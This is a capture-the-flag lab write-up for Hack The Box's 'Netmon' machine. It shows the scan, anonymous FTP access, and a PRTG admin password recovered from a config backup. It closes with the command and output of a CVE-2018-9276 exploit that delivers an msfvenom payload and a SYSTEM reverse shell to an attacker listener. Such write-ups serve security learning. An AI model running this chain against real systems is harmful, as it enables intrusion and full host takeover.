

# Netmon

```
nmap -sV -sV -oA nmap2.txt 10.10.10.152
```

```
$ nmap -sV -sV -oA nmap2.txt 10.10.10.152
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-26 21:31 EDT
Nmap scan report for 10.10.10.152
Host is up (0.35s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            Microsoft ftpd
ftp-syst:
  SYST: Windows_NT
ftp-anon: Anonymous FTP login allowed (FTP code 230)
02-03-19  12:18AM             1024 .rnd
02-25-19  10:15PM             <DIR> inetpub
07-16-16  09:18AM             <DIR> PerfLogs
02-25-19  10:56PM             <DIR> Program Files
02-03-19  12:28AM             <DIR> Program Files (x86)
02-03-19  08:08AM             <DIR> Users
11-10-23  10:20AM             <DIR> Windows
80/tcp    open  http           Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
http-title: Welcome | PRTG Network Monitor (NETMON)
Requested resource was /index.htm
http-server-header: PRTG/18.1.37.13946
http-trane-info: Problem with XML parsing of /evox/about
35/tcp    open  msrpc          Microsoft Windows RPC
39/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
45/tcp    open  microsoft-ds   Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
985/tcp   open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
http-title: Not Found
http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
smb2-security-mode:
  3:1:1:
    Message signing enabled but not required
smb-security-mode:
  account_used: guest
  authentication_level: user
  challenge_response: supported
  message_signing: disabled (dangerous, but default)
smb2-time:
  date: 2025-09-27T01:33:21
  start_date: 2025-09-27T01:29:40
clock-skew: mean: 1m06s, deviation: 0s, median: 1m05s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.42 seconds
```

PRTG is a network monitoring tool used in enterprise network environments and Internet Service Provider networks to monitor the status & health of network devices. It is used to monitor servers, switches, routers, access points, etc. If this box is monitoring the whole network and an attacker can breach this server, then they can own the whole network.

Anonymous login and we are given access

```
(red@kali)-[~/Downloads/htb/netmon]
$ ftp anonymous@10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49879|)
225 Data connection already open; Transfer starting.
02-03-19 12:18AM      1024 .rnd
02-25-19 10:15PM      <DIR>      inetpub
07-16-16 09:18AM      <DIR>      PerfLogs
02-25-19 10:56PM      <DIR>      Program Files
02-03-19 12:28AM      <DIR>      Program Files (x86)
02-03-19 08:08AM      <DIR>      Users
11-10-23 10:20AM      <DIR>      Windows
226 Transfer complete.
```

## Directory navigation

```
11-10-23 10:20AM      <DIR>      Windows
226 Transfer complete.
ftp> cd -program
550 The system cannot find the file specified.
usage: cd remote-directory
ftp> cd Users
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49910|)
150 Opening ASCII mode data connection.
02-25-19 11:44PM      <DIR>      Administrator
01-15-24 11:03AM      <DIR>      Public
226 Transfer complete.
ftp> cd Public
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49911|)
150 Opening ASCII mode data connection.
01-15-24 11:03AM      <DIR>      Desktop
02-03-19 08:05AM      <DIR>      Documents
07-16-16 09:18AM      <DIR>      Downloads
07-16-16 09:18AM      <DIR>      Music
07-16-16 09:18AM      <DIR>      Pictures
07-16-16 09:18AM      <DIR>      Videos
226 Transfer complete.
ftp> cd Desktop
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49912|)
150 Opening ASCII mode data connection.
02-03-19 12:18AM      1198 PRTG Enterprise Console.lnk
02-03-19 12:18AM      1160 PRTG Network Monitor.lnk
09-26-25 09:30PM      34 user.txt
226 Transfer complete.
ftp> cat user.txt
?Invalid command.
ftp> cat user.txt
?Invalid command.
ftp> type user.txt
user.txt: unknown mode.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||49922|)
150 Opening ASCII mode data connection.
100% |#####|
226 Transfer complete.
34 bytes received in 00:00 (0.08 KIB/s)
```

## Looking around

ftp> cd "program Files (x86)" which contains the configuration files.

Storage info as to where to look

<https://helpdesk.paessler.com/en/support/solutions/articles/76000041654-how-and-where-does-prtg-store-its-data>

```

ftp> cd ..
250 CWD command successful.
ftp> cd /programdata
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50095|)
150 Opening ASCII mode data connection.
12-15-21 10:40AM <DIR> Corefig
02-03-19 12:15AM <DIR> Licenses
11-20-16 10:36PM <DIR> Microsoft
02-03-19 12:18AM <DIR> Paessler
02-03-19 08:05AM <DIR> regid.1991-06.com.microsoft
07-16-16 09:18AM <DIR> SoftwareDistribution
02-03-19 12:15AM <DIR> TEMP
11-20-16 10:19PM <DIR> USOPrivate
11-20-16 10:19PM <DIR> USOShared
02-25-19 10:56PM <DIR> VMware
226 Transfer complete.
ftp> cd Paessler
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50105|)
125 Data connection already open; Transfer starting.
09-26-25 09:56PM <DIR> PRTG Network Monitor
226 Transfer complete.
ftp> █

```

Download the config file

```

226 Transfer complete.
ftp> get PRTG Configuration.dat
local: Configuration.dat remote: PRTG
229 Entering Extended Passive Mode (|||50125|)
550 The system cannot find the file specified.
ftp> get "PRTG Configuration.dat"
?Invalid command.
ftp> get "PRTG Configuration.dat"
local: PRTG Configuration.dat remote: PRTG Configuration.dat
229 Entering Extended Passive Mode (|||50135|)
125 Data connection already open; Transfer starting.
 7% |*****
tp: Reading from network: Interrupted system call
 0% |
550 The specified network name is no longer available.
ftp> █

```

```

Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> cd programdata
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50256|)
150 Opening ASCII mode data connection.
12-15-21 10:40AM <DIR> Corefig
02-03-19 12:15AM <DIR> Licenses
11-20-16 10:36PM <DIR> Microsoft
02-03-19 12:18AM <DIR> Paessler
02-03-19 08:05AM <DIR> regid.1991-06.com.microsoft
07-16-16 09:18AM <DIR> SoftwareDistribution
02-03-19 12:15AM <DIR> TEMP
11-20-16 10:19PM <DIR> USOPrivate
11-20-16 10:19PM <DIR> USOShared
02-25-19 10:56PM <DIR> VMware
226 Transfer complete.
ftp> cd paessler
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50257|)
150 Opening ASCII mode data connection.
09-26-25 09:56PM <DIR> PRTG Network Monitor
226 Transfer complete.
ftp> cd "PRTG Network Monitor"
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||50267|)
150 Opening ASCII mode data connection.
09-26-25 09:55PM <DIR> Configuration Auto-Backups
09-26-25 09:55PM <DIR> Log Database
02-03-19 12:18AM <DIR> Logs (Debug)
02-03-19 12:18AM <DIR> Logs (Sensors)
02-03-19 12:18AM <DIR> Logs (System)
09-26-25 09:55PM <DIR> Logs (Web Server)
09-26-25 09:55PM <DIR> Monitoring Database
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
09-26-25 09:56PM 1640088 PRTG Graph Data Cache.dat
02-25-19 11:00PM <DIR> Report PDFs
02-03-19 12:18AM <DIR> System Information Database
02-03-19 12:40AM <DIR> Ticket Database
02-03-19 12:18AM <DIR> ToDo Database
226 Transfer complete.
ftp> get "PRTG Configuration.old.bak"
local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak
229 Entering Extended Passive Mode (|||50270|)
150 Opening ASCII mode data connection.
 8% |*****
tp: Reading from network: Interrupted system call

```

credentials from PRTG Configuration.bak

User: prtadmin →

PrTg@dmin2019

</dbpassword>

## BURPSUITE to grab the authenticated cookie

```
equest
Pretty Raw Hex
GET /welcome.htm HTTP/1.1
Host: 10.10.10.152
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.10.152/public/login.htm?loginurl=%2Fwelcome.htm&errors=
Accept-Encoding: gzip, deflate, br
Cookie: _ga=GA1.4.1221607773.1758941424; _gid=GA1.4.1381496401.1758941424; OCTOPUS1813713946=e0NCOTkzODMOLUI1MTETNEVDNS04QjdCLUVCREEyQjkyOTBG Mn0%3D
Connection: keep-alive
```

Cookie: \_ga=GA1.4.1221607773.1758941424; \_gid=GA1.4.1381496401.1758941424;  
OCTOPUS1813713946=e0NCOTkzODMOLUI1MTETNEVDNS04QjdCLUVCREEyQjkyOTBG Mn0%3D

Escalating exploit to nt authority I used this script <https://github.com/A1vinSmith/CVE-2018-9276>

```
red@kali:~/Downloads/htb/netmon/CVE-2018-9276$ sudo python exploit.py -i 10.10.10.152 -p 80 --lhost 10.10.14.3 --lport 4445 --user prtgadmin --password PrTg@dmin2019
home/red/Downloads/htb/netmon/CVE-2018-9276/exploit.py:259: SyntaxWarning: invalid escape sequence '\{'
print(event + "Hosting payload at [{" + "}]".format(lhost, shareName))
+) [PRTG/18.1.37.13946] is Vulnerable!

*) Exploiting [10.10.10.152:80] as [prtgadmin/PrTg@dmin2019]
+) Session obtained for [prtgadmin:PrTg@dmin2019]
+) File staged at [C:\Users\Public\tester.txt] successfully with objid of [2022]
+) Session obtained for [prtgadmin:PrTg@dmin2019]
+) Notification with objid [2022] staged for execution
*) Generate msfvenom payload with [LHOST=10.10.14.3 LPORT=4445 OUTPUT=/tmp/anzuzbld.dll]
-) No platform was selected, choosing Msf::Module::Platform::Windows from the payload
-) No arch selected, selecting arch: x86 from the payload
-) encoder specified, outputting raw payload
payload size: 324 bytes
final size of dll file: 9216 bytes
home/red/Downloads/htb/netmon/CVE-2018-9276/exploit.py:294: DeprecationWarning: setName() is deprecated, set the name attribute instead
impacket.setName('Impacket')
home/red/Downloads/htb/netmon/CVE-2018-9276/exploit.py:295: DeprecationWarning: setDaemon() is deprecated, set the daemon attribute instead
impacket.setDaemon(True)
*) Config file parsed
*) Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
*) Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
*) Config file parsed
*) Hosting payload at [{" + "}]
+) Session obtained for [prtgadmin:PrTg@dmin2019]
+) Command staged at [C:\Users\Public\tester.txt] successfully with objid of [2023]
+) Session obtained for [prtgadmin:PrTg@dmin2019]
+) Notification with objid [2023] staged for execution
*) Attempting to kill the impacket thread
-) Impacket will maintain its own thread for active connections, so you may find it's still listening on <LHOST>:4445!
-) ps aux | grep <script name> and kill -9 <pid> if it is still running :)
-) The connection will eventually time out.

+) Listening on [10.10.14.3:4445 for the reverse shell!]
listening on [any] 4445 ...
*) Incoming connection (10.10.10.152,51535)
*) AUTHENTICATE_MESSAGE (\,NETMON)
*) User NETMON\ authenticated successfully
*) ::00::aaaaaaaaaaaaaaaa
*) Disconnecting Share(1:IPC$)
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.152] 51553
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

## Summary

This machine, after we acquired the credentials, we were able to escalate our access and please read more about the vulnerability on <https://nvd.nist.gov/vuln/detail/CVE-2018-9276>